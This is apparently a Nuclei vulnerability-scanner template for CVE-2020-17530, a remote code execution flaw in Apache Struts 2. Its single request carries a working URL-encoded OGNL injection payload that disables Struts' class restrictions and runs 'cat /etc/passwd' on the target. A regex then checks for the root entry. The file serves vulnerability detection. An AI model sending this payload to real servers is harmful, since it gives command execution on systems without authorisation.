id: CVE-2020-17530 info: name: Apache Struts 2.0.0-2.5.25 - Remote Code Execution author: pikpikcu severity: critical description: Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it. remediation: | Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts. reference: - http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html - http://jvn.jp/en/jp/JVN43969166/index.html - https://cwiki.apache.org/confluence/display/WW/S2-061 - https://security.netapp.com/advisory/ntap-20210115-0005/ - https://nvd.nist.gov/vuln/detail/CVE-2020-17530 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-17530 cwe-id: CWE-917 epss-score: 0.96946 epss-percentile: 0.99628 cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: apache product: struts tags: cve,cve2020,apache,rce,struts,kev,packetstorm http: - method: GET path: - "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D" matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" # digest: 4b0a00483046022100a083f90c8a06cb000fb1984bc246eddcf83185f49441f3de685610beb1c25639022100f142c7e7e3d7fda714bd8e43801a05e98fb7327659068842b1ccfc5bbdf167cc:922c64590222798bb761d5b6d8e72950